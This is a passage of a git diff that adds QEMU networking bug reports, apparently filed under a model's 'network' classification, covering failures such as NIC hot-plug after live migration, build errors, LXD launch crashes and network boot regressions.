rhel6u5.qcow + +Current result: +---------------- +guest can't get IP + +Expected result: +---------------- +guest can get ip + +Basic root-causing log: +---------------------- \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1470720 b/results/classifier/gemma3:12b/network/1470720 new file mode 100644 index 000000000..029899252 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1470720 @@ -0,0 +1,17 @@ + +high IRQ-TLB generates network interruptions + + we are having a problem in our hosts, all the vm running on them suddenly, and for some seconds, lost network connectivity. + +the root cause appears to be the increase of irb-tlb from low values (less than 20) to more than >100k, that spike only last for some seconds then everything goes back to normal + +i've upload an screenshot of collectd for one hypervisor here +http://zumbi.com.ar/tmp/irq-tlb.png + + +we have hosts running precise (qemu 1.5, ovs 2.0.2, libvirt 1.2.2 and kernel 3.13) where the issue is frequent. also we have an small % of our fleet running trusty (qemu 2.0.0 ovs 2.0.2 libvirt 1.2.2 and kernel 3.16) where the problem seemed to be nonexistent until today + +issue seems to be isolated to < 10% of our hypervisors, some hypervisors had this problem every few days, others only once or twice. our vm are a black box to us we don't know what users run on them, but mostly cpu and network bound workload. +most of our guests run centos 6.5 (kernel 2.6.32) + +vm are bridged to a linuxbridge then veth wired to an ovs switch (neutron openvswitch agent setup) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1477 b/results/classifier/gemma3:12b/network/1477 new file mode 100644 index 000000000..c0de8a8bd --- /dev/null +++ b/results/classifier/gemma3:12b/network/1477 @@ -0,0 +1,292 @@ + +hot-plugged interface are not working after live migration +Description of problem: +After a live migration are perform for a vm then hot-plug interface pci didn't show up, but did found a SCSI storage controller is created. I checked libvirt did send qmp command to qemu `[pid 320011] 1673945683.378537 write(42, "{"execute":"device_add","arguments":{"driver":"virtio-net-pci","netdev":"hostua-test","id":"ua-test","mac":"00:e0:4c:6a:3b:51","bus":"pci.7","addr":"0x0"},"id":"libvirt-200"}rn", 176) = 176 +` +Steps to reproduce: +1. Perform a live migration by issue command `virsh migrate --live --persistent --verbose --unsafe --p2p demo-vm qemu+tls://node8/system?pkipath=/etc/pki/libvirt/private/` +2. Then on the destination node that vm moved, create a bridge deivce `ip link add br-test1 type bridge` +3. Create a tap.xml file with following code + ``` + <interface type='bridge'> + <mac address='00:e0:4c:6a:3b:51'/> + <source bridge='br-test1'/> + <model type="virtio"/> + <alias name='ua-test'/> + </interface> + ``` +4. Save origin pci information +``` +$ virsh console demo-vm +# Save origin pci information +[root@demo-vm ~]# lshw > before +``` +5. Hot-plug an interface `virsh attach-device demo-vm tap.xml-backup --live --config` +6. Dumpxml of demo-vm +``` +<domain type='kvm' id='226'> + <name>demo-vm</name> + <uuid>cc74b867-3fb4-5e4f-bbce-33df21a89416</uuid> + <metadata> + <kubevirt xmlns="http://kubevirt.io"> + <uid>79db3d82-ce8f-44e8-96a5-940cc37c0064</uid> + <graceperiod> + <deletionGracePeriodSeconds>30</deletionGracePeriodSeconds> + </graceperiod> + </kubevirt> + </metadata> + <maxMemory slots='16' unit='KiB'>134217728</maxMemory> + <memory unit='KiB'>1048576</memory> + <currentMemory unit='KiB'>1048576</currentMemory> + <vcpu placement='static' current='1'>128</vcpu> + <iothreads>1</iothreads> + <resource> + <partition>/machine</partition> + </resource> + <sysinfo type='smbios'> + <system> + <entry name='uuid'>cc74b867-3fb4-5e4f-bbce-33df21a89416</entry> + </system> + </sysinfo> + <os> + <type arch='x86_64' machine='pc-q35-rhel8.6.0'>hvm</type> + <smbios mode='sysinfo'/> + </os> + <features> + <acpi/> + </features> + <cpu mode='custom' match='exact' check='full'> + <model fallback='forbid'>Skylake-Server-IBRS</model> + <vendor>Intel</vendor> + <topology sockets='128' dies='1' cores='1' threads='1'/> + <feature policy='require' name='ss'/> + <feature policy='require' name='vmx'/> + <feature policy='require' name='pdcm'/> + <feature policy='require' name='hypervisor'/> + <feature policy='require' name='tsc_adjust'/> + <feature policy='require' name='clflushopt'/> + <feature policy='require' name='umip'/> + <feature policy='require' name='pku'/> + <feature policy='require' name='md-clear'/> + <feature policy='require' name='stibp'/> + <feature policy='require' name='arch-capabilities'/> + <feature policy='require' name='ssbd'/> + <feature policy='require' name='xsaves'/> + <feature policy='require' name='ibpb'/> + <feature policy='require' name='ibrs'/> + <feature policy='require' name='amd-stibp'/> + <feature policy='require' name='amd-ssbd'/> + <feature policy='require' name='skip-l1dfl-vmentry'/> + <feature policy='require' name='pschange-mc-no'/> + <feature policy='disable' name='mpx'/> + <numa> + <cell id='0' cpus='0-127' memory='1048576' unit='KiB'/> + </numa> + </cpu> + <clock offset='utc'/> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>destroy</on_crash> + <devices> + <emulator>/usr/libexec/qemu-kvm</emulator> + <disk type='network' device='disk' model='virtio-non-transitional'> + <driver name='qemu' type='raw' error_policy='stop' discard='unmap'/> + <auth username='rbd-provisioner'> + <secret type='ceph' uuid='8fedf300-282c-4531-a66d-ca2691aaa88b'/> + </auth> + <source protocol='rbd' name='demo-pool/vol-5e83bed9-a2a3-11ed-bee4-3cfdfee07278' index='2'> + <host name='xx.xx.xx.xx' port='6789'/> + <host name='xx.xx.xx.xx' port='6789'/> + <host name='xx.xx.xx.xx' port='6789'/> + </source> + <target dev='vda' bus='virtio'/> + <boot order='1'/> + <alias name='ua-bootdisk'/> + <address type='pci' domain='0x0000' bus='0x04' slot='0x00' function='0x0'/> + </disk> + <disk type='file' device='disk' model='virtio-non-transitional'> + <driver name='qemu' type='raw' cache='writethrough' error_policy='stop' discard='unmap'/> + <source file='/var/run/kubevirt-ephemeral-disks/cloud-init-data/demo-vm/configdrive.iso' index='1'/> + <backingStore/> + <target dev='vdb' bus='virtio'/> + <alias name='ua-cloudinitdisk'/> + <address type='pci' domain='0x0000' bus='0x05' slot='0x00' function='0x0'/> + </disk> + <controller type='usb' index='0' model='none'> + <alias name='usb'/> + </controller> + <controller type='scsi' index='0' model='virtio-non-transitional'> + <alias name='scsi0'/> + <address type='pci' domain='0x0000' bus='0x02' slot='0x00' function='0x0'/> + </controller> + <controller type='virtio-serial' index='0' model='virtio-non-transitional'> + <alias name='virtio-serial0'/> + <address type='pci' domain='0x0000' bus='0x03' slot='0x00' function='0x0'/> + </controller> + <controller type='pci' index='0' model='pcie-root'> + <alias name='pcie.0'/> + </controller> + <controller type='pci' index='1' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='1' port='0x10'/> + <alias name='pci.1'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0' multifunction='on'/> + </controller> + <controller type='pci' index='2' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='2' port='0x11'/> + <alias name='pci.2'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x1'/> + </controller> + <controller type='pci' index='3' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='3' port='0x12'/> + <alias name='pci.3'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x2'/> + </controller> + <controller type='pci' index='4' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='4' port='0x13'/> + <alias name='pci.4'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x3'/> + </controller> + <controller type='pci' index='5' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='5' port='0x14'/> + <alias name='pci.5'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x4'/> + </controller> + <controller type='pci' index='6' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='6' port='0x15'/> + <alias name='pci.6'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x5'/> + </controller> + <controller type='pci' index='7' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='7' port='0x16'/> + <alias name='pci.7'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x6'/> + </controller> + <controller type='pci' index='8' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='8' port='0x18'/> + <alias name='pci.8'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0' multifunction='on'/> + </controller> + <controller type='pci' index='9' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='9' port='0x19'/> + <alias name='pci.9'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x1'/> + </controller> + <controller type='pci' index='10' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='10' port='0x1a'/> + <alias name='pci.10'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x2'/> + </controller> + <controller type='pci' index='11' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='11' port='0x1b'/> + <alias name='pci.11'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x3'/> + </controller> + <controller type='pci' index='12' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='12' port='0x1c'/> + <alias name='pci.12'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x4'/> + </controller> + <controller type='sata' index='0'> + <alias name='ide'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1f' function='0x2'/> + </controller> + <interface type='ethernet'> + <mac address='00:00:00:6a:d3:bc'/> + <target dev='e6250550b78a43a' managed='yes'/> + <model type='virtio'/> + <mtu size='1500'/> + <alias name='ua-attachnet1'/> + <rom enabled='no'/> + <address type='pci' domain='0x0000' bus='0x01' slot='0x00' function='0x0'/> + </interface> + <interface type='bridge'> + <mac address='00:e0:4c:6a:3b:51'/> + <source bridge='br-test1'/> + <target dev='vnet5'/> + <model type='virtio'/> + <alias name='ua-test'/> + <address type='pci' domain='0x0000' bus='0x07' slot='0x00' function='0x0'/> + </interface> + <serial type='pty'> + <source path='/dev/pts/31'/> + <log file='/var/log/vm/79db3d82-ce8f-44e8-96a5-940cc37c0064/console.log' append='off'/> + <target type='isa-serial' port='0'> + <model name='isa-serial'/> + </target> + <alias name='serial0'/> + </serial> + <console type='pty' tty='/dev/pts/31'> + <source path='/dev/pts/31'/> + <log file='/var/log/vm/79db3d82-ce8f-44e8-96a5-940cc37c0064/console.log' append='off'/> + <target type='serial' port='0'/> + <alias name='serial0'/> + </console> + <channel type='unix'> + <source mode='bind' path='/var/lib/libvirt/qemu/channel/target/domain-226-demo-vm/org.qemu.guest_agent.0'/> + <target type='virtio' name='org.qemu.guest_agent.0' state='connected'/> + <alias name='channel0'/> + <address type='virtio-serial' controller='0' bus='0' port='1'/> + </channel> + <input type='mouse' bus='ps2'> + <alias name='input0'/> + </input> + <input type='keyboard' bus='ps2'> + <alias name='input1'/> + </input> + <graphics type='vnc' port='5920' autoport='yes' listen='0.0.0.0'> + <listen type='address' address='0.0.0.0'/> + </graphics> + <audio id='1' type='none'/> + <video> + <model type='vga' vram='16384' heads='1' primary='yes'/> + <alias name='video0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x0'/> + </video> + <memballoon model='virtio-non-transitional'> + <alias name='balloon0'/> + <address type='pci' domain='0x0000' bus='0x06' slot='0x00' function='0x0'/> + </memballoon> + </devices> + <seclabel type='dynamic' model='dac' relabel='yes'> + <label>+107:+107</label> + <imagelabel>+107:+107</imagelabel> + </seclabel> +</domain> +``` +7. Console to vm and check pci +``` +$ virsh console demo-vm +# no additional nic found in `ip a` list +[root@demo-vm ~]# ip a +# Compare pci +[root@demo-vm ~]# lshw > after +# instead of a virtio network pci i saw a virtio SCSI is created +[root@demo-vm ~]# diff before after +# output + *-scsi + description: SCSI storage controller + product: Virtio SCSI + vendor: Red Hat, Inc. + physical id: 0 + bus info: pci@0000:02:00.0 + version: 01 + width: 64 bits + clock: 33MHz + capabilities: scsi msix pm pciexpress bus_master cap_list + configuration: driver=virtio-pci latency=0 + resources: irq:22 memory:fe600000-fe600fff memory:fc400000-fc403fff +``` +Additional information: + diff --git a/results/classifier/gemma3:12b/network/1481990 b/results/classifier/gemma3:12b/network/1481990 new file mode 100644 index 000000000..84b26ec16 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1481990 @@ -0,0 +1,40 @@ + +2.3.0 build fails on Ubuntu 12.04 + +Build of 2.3.0 fails on Ubuntu 12.04: + +sudo make clean +sudo ./configure --prefix=/usr/local --target-list=i386-softmmu,arm-softmmu,x86_64-softmmu +sudo make + + GEN config-host.h + GEN qemu-options.def + GEN qmp-commands.h + GEN qapi-types.h + GEN qapi-visit.h + GEN qapi-event.h + GEN trace/generated-events.h + GEN trace/generated-tracers.h + ... + + CC migration/qemu-file-stdio.o + CC migration/xbzrle.o + CC migration/rdma.o +migration/rdma.c: In function ‘qemu_rdma_dump_id’: +migration/rdma.c:706:21: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:707:22: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:707:37: error: ‘IBV_LINK_LAYER_INFINIBAND’ undeclared (first use in this function) +migration/rdma.c:707:37: note: each undeclared identifier is reported only once for each function it appears in +migration/rdma.c:708:24: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:708:39: error: ‘IBV_LINK_LAYER_ETHERNET’ undeclared (first use in this function) +migration/rdma.c: In function ‘qemu_rdma_broken_ipv6_kernel’: +migration/rdma.c:800:26: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:800:41: error: ‘IBV_LINK_LAYER_INFINIBAND’ undeclared (first use in this function) +migration/rdma.c:802:33: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:802:48: error: ‘IBV_LINK_LAYER_ETHERNET’ undeclared (first use in this function) +migration/rdma.c:841:18: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +make: *** [migration/rdma.o] Error 1 + +Build succeeds with + +sudo ./configure --prefix=/usr/local --target-list=i386-softmmu,arm-softmmu,x86_64-softmmu --disable-rdma \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1482 b/results/classifier/gemma3:12b/network/1482 new file mode 100644 index 000000000..2dd14cd80 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1482 @@ -0,0 +1,16 @@ + +Network failed in qemu-7.2.0 +Description of problem: +After I created and installed Ubuntu 20.04 img in qemu virtual machine from Ubuntu 20.04 iso, I found that the network could not work normally, the network settings wasn't right yet. +Steps to reproduce: +1. Download the source code of qemu-7.2.0 using command "wget https://download.qemu.org/qemu-7.2.0.tar.xz"; +2. Untar using command "tar Jxvf qemu-7.2.0.tar.xz"; +3. Configure with command "./configure --target-list=x86_64-softmmu" under root of qemu source code; +4. Build with command "make"; +5. Install with command "make install" or "sudo make install"; +5. Create image with command "qemu-img create -f qcow2 Ubuntu2004.img 40G"; +5. Launch and install guest with ubuntu 20.04 iso using command "qemu-system-x86_64 -enable-kvm -m 8G -smp 4 -boot once=d -cdrom ../iso_images/Ubuntu-20.04.5-desktop-amd.iso -drive file=./Ubuntu2004.img -device ac97"; +6. After system installed, launch guest with command "qemu-system-x86_64 -enable-kvm -m 8G -smp 4 -drive file=./Ubuntu2004.img -device ac97" +Additional information: +1. When I used qemu version 7.1.0, that is qemu-7.1.0, and go through the same steps above, then the network worked normally, and the network setting was right. +2. Windows images from Windows iso(s) had the same phenomenon. diff --git a/results/classifier/gemma3:12b/network/1486 b/results/classifier/gemma3:12b/network/1486 new file mode 100644 index 000000000..ff6d6b6db --- /dev/null +++ b/results/classifier/gemma3:12b/network/1486 @@ -0,0 +1,90 @@ + +LXD fails to create VM with QEMU 7.2.0: "../../net/net.c:1106: net_client_init1: Assertion `nc' failed." +Description of problem: +Beginning with QEMU 7.2.0, LXD is unable to launch virtual machines using the default network profile, which breaks the out-of-box experience if a user wishes to create a virtual machine. This worked correctly with QEMU 7.1.0. + +Multiple users across different Linux distributions are reporting this issue: +- https://discuss.linuxcontainers.org/t/failed-adding-nic-netdev-monitor-is-disconnected/15946 +- https://forums.gentoo.org/viewtopic-p-8774212.html +- https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1030365 + +``` +gibmat@tharkun:~$ lxc launch images:debian/sid debian-sid-vm --vm +Creating debian-sid-vm +Starting debian-sid-vm +Error: Failed setting up device via monitor: Failed setting up device "eth0": Failed adding NIC netdev: Monitor is disconnected +Try `lxc info --show-log local:debian-sid-vm` for more info +gibmat@tharkun:~$ lxc info --show-log local:debian-sid-vm +Name: debian-sid-vm +Status: STOPPED +Type: virtual-machine +Architecture: x86_64 +Created: 2023/02/10 23:47 UTC + +Log: + +warning: tap: open vhost char device failed: Permission denied +warning: tap: open vhost char device failed: Permission denied +qemu-system-x86_64: ../../net/net.c:1106: net_client_init1: Assertion `nc' failed. + +``` + +``` +gibmat@tharkun:~$ qemu-system-x86_64 --version +QEMU emulator version 7.2.0 (Debian 1:7.2+dfsg-2) +Copyright (c) 2003-2022 Fabrice Bellard and the QEMU Project developers +gibmat@tharkun:~$ lxc version +Client version: 5.0.2 +Server version: 5.0.2 +``` +Steps to reproduce: +1. Install LXD and QEMU 7.2.0 +2. `lxc launch images:debian/sid debian-sid-vm --vm` + - This will fail as reported above +3. Downgrade to QEMU 7.1.0 (such as from https://snapshot.debian.org/package/qemu/1%3A7.1%2Bdfsg-2/) +4. `lxc launch images:debian/sid debian-sid-vm --vm` + - Now VM creation is successful + ``` + gibmat@tharkun:~$ lxc launch images:debian/sid debian-sid-vm --vm + Creating debian-sid-vm + Starting debian-sid-vm + gibmat@tharkun:~$ lxc list + +---------------+---------+------+-----------------------------------------------+-----------------+-----------+ + | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | + +---------------+---------+------+-----------------------------------------------+-----------------+-----------+ + | debian-sid-vm | RUNNING | | fd42:ea61:feb4:55ef:216:3eff:feb8:2e8c (eth0) | VIRTUAL-MACHINE | 0 | + +---------------+---------+------+-----------------------------------------------+-----------------+-----------+ + gibmat@tharkun:~$ lxc info --show-log local:debian-sid-vm + Name: debian-sid-vm + Status: RUNNING + Type: virtual-machine + Architecture: x86_64 + PID: 2502 + Created: 2023/02/11 15:08 UTC + Last Used: 2023/02/11 15:08 UTC + + Resources: + Processes: -1 + Network usage: + eth0: + Type: broadcast + State: UP + Host interface: tap5efa7582 + MAC address: 00:16:3e:b8:2e:8c + MTU: 1500 + Bytes received: 3.13kB + Bytes sent: 164B + Packets received: 12 + Packets sent: 2 + IP addresses: + inet6: fd42:ea61:feb4:55ef:216:3eff:feb8:2e8c/64 (global) + + Log: + + warning: tap: open vhost char device failed: Permission denied + warning: tap: open vhost char device failed: Permission denied + + gibmat@tharkun:~$ qemu-system-x86_64 --version + QEMU emulator version 7.1.0 (Debian 1:7.1+dfsg-2+b3) + Copyright (c) 2003-2022 Fabrice Bellard and the QEMU Project developers + ``` diff --git a/results/classifier/gemma3:12b/network/149 b/results/classifier/gemma3:12b/network/149 new file mode 100644 index 000000000..16f63793e --- /dev/null +++ b/results/classifier/gemma3:12b/network/149 @@ -0,0 +1,2 @@ + +vmxnet3 unable to send IPv6 ESP packets diff --git a/results/classifier/gemma3:12b/network/1495380 b/results/classifier/gemma3:12b/network/1495380 new file mode 100644 index 000000000..8dedcda1e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1495380 @@ -0,0 +1,8 @@ + +Invalid parameter 'queues'. multi-queue vhost-user backends does not work. + +The command line which I use: +/usr/bin/qemu-system-x86_64 -name instance-00000006 -S -machine pc-i440fx-2.4,accel=kvm,usb=off -cpu Haswell-noTSX,+abm,+pdpe1gb,+rdrand,+f16c,+osxsave,+pdcm,+xtpr,+tm2,+est,+smx,+vmx,+ds_cpl,+monitor,+dtes64,+pbe,+tm,+ht,+ss,+acpi,+ds,+vme -m 1024 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -object memory-backend-file,id=ram-node0,prealloc=yes,mem-path=/hugepages/libvirt/qemu,share=yes,size=1073741824 -numa node,nodeid=0,cpus=0,memdev=ram-node0 -uuid 54d61ffc-c8cf-4227-9610-96bcf1590984 -smbios type=1,manufacturer=OpenStack,product=OpenStack,version=2014.1.3,serial=44454c4c-3300-1043-804c-b5c04f463532,uuid=54d61ffc-c8cf-4227-9610-96bcf1590984 -no-user-config -nodefaults -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=discard -no-hpet -no-shutdown -boot strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=/var/lib/nova/instances/54d61ffc-c8cf-4227-9610-96bcf1590984/disk,if=none,id=drive-virtio-disk0,format=qcow2,cache=none -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x4,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -chardev socket,id=charnet0,path=/var/run/vrouter/uvh_vif_tap35abd3c0-4f -netdev type=vhost-user,id=hostnet0,chardev=charnet0,queues=5 -device virtio-net-pci,netdev=hostnet0,id=net0,mq=on,mac=02:35:ab:d3:c0:4f,bus=pci.0,mq=on,addr=0x3 -chardev file,id=charserial0,path=/var/lib/nova/instances/54d61ffc-c8cf-4227-9610-96bcf1590984/console.log -device isa-serial,chardev=charserial0,id=serial0 -chardev pty,id=charserial1 -device isa-serial,chardev=charserial1,id=serial1 -device usb-tablet,id=input0 -vnc 10.10.6.14:0 -k en-us -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5 -msg timestamp=on + +The error information : +2015-09-14T06:16:05.914264Z qemu-system-x86_64: -netdev type=vhost-user,id=hostnet0,chardev=charnet0,queues=5: Invalid parameter 'queues' \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/151 b/results/classifier/gemma3:12b/network/151 new file mode 100644 index 000000000..187408f7b --- /dev/null +++ b/results/classifier/gemma3:12b/network/151 @@ -0,0 +1,2 @@ + +virtio-net ignores the absence of the VIRTIO_NET_F_CTRL_VQ feature bit diff --git a/results/classifier/gemma3:12b/network/1513234 b/results/classifier/gemma3:12b/network/1513234 new file mode 100644 index 000000000..7b88deb5f --- /dev/null +++ b/results/classifier/gemma3:12b/network/1513234 @@ -0,0 +1,12 @@ + +Cannot ping guest from host after closing laptop lid, and re-opening + +I am running Ubuntu 15.10 (this issue also exists on 15.04) x64. Desktop environment to re-produce is either GNOME 3.16 or OpenBox-3. + +I have a Windows 8.1 VM that I run with QEMU and I will work out of that for my job most of the day. When I am going to leave I like to just close my laptop lid, come home, and then get back at it. Unfortunately whenever I get home and open back up my laptop, I can no longer RDP into my VM and can no longer ping it from the host. + +If I open up Virt-Manager I can see the desktop via the Console page but cannot RDP into it with FreeRDP (I use FreeRDP all day on this machine so I know this works fine). + +If I use the Console tab to login to the Windows VM again, I notice that I can ping the host from the guest and am connected to the internet. Just can't seem to communicate with the VM via its IP anymore. + +I have a NIC NAT virtual card and am using a Bridge \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1528214 b/results/classifier/gemma3:12b/network/1528214 new file mode 100644 index 000000000..5f72bad5c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1528214 @@ -0,0 +1,38 @@ + +qemu 1.7.0 vhost_net crash + +i find the crash in /var/crash +the crash content is : +<4>Pid: 6949, comm: qemu-system-x86 Not tainted 2.6.32-431.el6.x86_64 #1 Powerleader PR2530G2/SC612DI-8F +<4>RIP: 0010:[<ffffffff8118a849>] [<ffffffff8118a849>] fput+0x9/0x30 +<4>RSP: 0018:ffff88015b601d98 EFLAGS: 00010292 +<4>RAX: 0000000000000382 RBX: ffff881e46590000 RCX: 00000000000001c3 +<4>RDX: 0000000000000000 RSI: ffff881e46590130 RDI: 0000000000000000 +<4>RBP: ffff88015b601d98 R08: ffff881e46598518 R09: 0000000000000000 +<4>R10: 0000000000000000 R11: 0000000000000246 R12: ffff881e46590010 +<4>R13: 0000000000000000 R14: ffff880c29812748 R15: 0000000000000000 +<4>FS: 00007f6a74d20700(0000) GS:ffff8810b8840000(0000) knlGS:0000000000000000 +<4>CS: 0010 DS: 002b ES: 002b CR0: 000000008005003b +<4>CR2: 0000000000000030 CR3: 0000001c544cc000 CR4: 00000000001427e0 +<4>DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +<4>DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 +<4>Process qemu-system-x86 (pid: 6949, threadinfo ffff88015b600000, task ffff880c1ed9c040) +<4>Stack: +<4> ffff88015b601e58 ffffffffa02ac3c8 ffff881e46590000 0000000000000000 +<4><d> ffff881e46590080 ffff881e46590078 ffff88015b601e38 0000000000000286 +<4><d> ffffffff00000000 0000000000000001 ffff88015b601e58 0000000000000282 +<4>Call Trace: +<4> [<ffffffffa02ac3c8>] vhost_net_ioctl+0x328/0x5d0 [vhost_net] +<4> [<ffffffff8119db42>] vfs_ioctl+0x22/0xa0 +<4> [<ffffffff8119dce4>] do_vfs_ioctl+0x84/0x580 +<4> [<ffffffff8118a7d1>] ? __fput+0x1a1/0x210 +<4> [<ffffffff8119e261>] sys_ioctl+0x81/0xa0 +<4> [<ffffffff810e1e5e>] ? __audit_syscall_exit+0x25e/0x290 +<4> [<ffffffff8100b072>] system_call_fastpath+0x16/0x1b +<4>Code: fe ff ff 31 d2 48 89 de 83 cf ff ff d0 e9 da fe ff ff 48 89 df e8 28 64 04 00 e9 bb fe ff ff 0f 1f 00 55 48 89 e5 0f 1f 44 00 00 <f0> 48 ff 4f 30 0f 94 c0 84 c0 75 0b c9 c3 66 0f 1f +84 00 00 00 +<1>RIP [<ffffffff8118a849>] fput+0x9/0x30 +<4> RSP <ffff88015b601d98> +<4>CR2: 0000000000000030 + +how the bug occure \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/153 b/results/classifier/gemma3:12b/network/153 new file mode 100644 index 000000000..4b7c2211e --- /dev/null +++ b/results/classifier/gemma3:12b/network/153 @@ -0,0 +1,2 @@ + +SLIRP SMB silently fails with MacOS smbd diff --git a/results/classifier/gemma3:12b/network/1530278 b/results/classifier/gemma3:12b/network/1530278 new file mode 100644 index 000000000..3b2fce91b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1530278 @@ -0,0 +1,13 @@ + +vhost-user: can not detach chardev which is used by vhost-user backend + +I launch a VM which use vhost-user netdevice as follows.When detach the netdevice in qemu monitor, the chardevice which used by the netdevice also should be deatched.The netdevice can be detached sucessfully.But the chardevice failed when it was being detaching. +Full command line : +qemu-system-x86_64 \ +-cpu host -boot c -hda /home/lining/ubuntu_12_04.img -snapshot -m 2048 -smp 2 \ +--enable-kvm -name "client1" -vnc :1 \ +-object memory-backend-file,id=mem,size=2048M,mem-path=/dev/hugepages,share=on -numa node,memdev=mem \ +-chardev socket,id=chr1,path=/opt/network/ovdk/bin/vhost-user \ +-netdev vhost-user,id=net12,chardev=chr1,ifname=port80, vhostforce \ +-device virtio-net-pci,netdev=net12,mac=00:00:00:00:00:01,\ +csum=off,gso=off,guest_tso4=off,guest_tso6=off,guest_ecn=off,guest_ufo=off,any_layout=off \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1543163 b/results/classifier/gemma3:12b/network/1543163 new file mode 100644 index 000000000..a5156ccdd --- /dev/null +++ b/results/classifier/gemma3:12b/network/1543163 @@ -0,0 +1,39 @@ + +VMs unable to boot from network with e1000 since 2.2 + +With KVM/QEMU version 1.4, using e1000 NIC, virtual machines boot from network alright; they get an IP from DHCP server (machine A), then connect to Microsoft System Center (machine B) and proceed to boot into Windows PE, install images etc. + +However, with versions at least 2.2 and 2.5, using same NIC, virtual machines fail to boot from network; they still get an IP from A, but then fail "contacting B using gateway (0.0.0.0). Different NICs do not help except for i82551, which however causes problems further down the road (presumably because there is no driver for that card in PE (based on Windows 7/8/10)). + +Note that actual physical machines work. + +Wireshark reveals this: + +QEMU 1.4 + Intel e1000 +********************** +1) client sends DHCP discover +2) machine A answers, offers an IP, gateway and itself as next server +3) machine B answers, offers no IP, but gateway and itself as next server +4) client requests the IP +5) machine A ACKs +6) client sends unicast request for ??? to B +7) B offers (unicast) a boot file (some .com) +8) client sends another unicast request for ??? to B +9) B again offers the boot file +(then they chat a bit, B offers another file, client downloads some stuff via TFTP etc.) + + +QEMU 2.2/2.5 + Intel e1000 +************************** +1) client sends DHCP discover +2) machine A answers, offers an IP, gateway and itself as next server +3) machine B answers, offers no IP, but gateway and itself as next server +4) client requests the IP +5) machine A ACKs +6) client sends _broadcast_ request for ??? to B +7) B offers (likewise broadcast) a boot file +8) client sends another request, this time unicast and claims "Client IP address = 0.0.0.0" +(and it basically hangs) + + +So, since some time after 1.4, QEMUlated machines with otherwise trusty e1000 can no longer boot from network and it might be due to different behaviour. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1544 b/results/classifier/gemma3:12b/network/1544 new file mode 100644 index 000000000..841bab823 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1544 @@ -0,0 +1,2 @@ + +Abort in net_tx_pkt_do_sw_fragmentation diff --git a/results/classifier/gemma3:12b/network/1545052 b/results/classifier/gemma3:12b/network/1545052 new file mode 100644 index 000000000..1ac4af440 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1545052 @@ -0,0 +1,59 @@ + +RDMA migration will hang forever if target QEMU fails to load vmstate + +Get a pair of machines with infiniband support. On one host run + +$ qemu-system-x86_64 -monitor stdio -incoming rdma:ibme:4444 -vnc :1 -m 1000 + +To start an incoming migration. + + +Now on the other host, run QEMU with an intentionally different configuration (ie different RAM size) + +$ qemu-system-x86_64 -monitor stdio -vnc :1 -m 2000 + +Now trigger a migration on this source host + +(qemu) migrate rdma:ibpair:4444 + + +You will see on the target host, that it failed to load migration: + +dest_init RDMA Device opened: kernel name mlx4_0 uverbs device name uverbs0, infiniband_verbs class device path /sys/class/infiniband_verbs/uverbs0, infiniband class device path 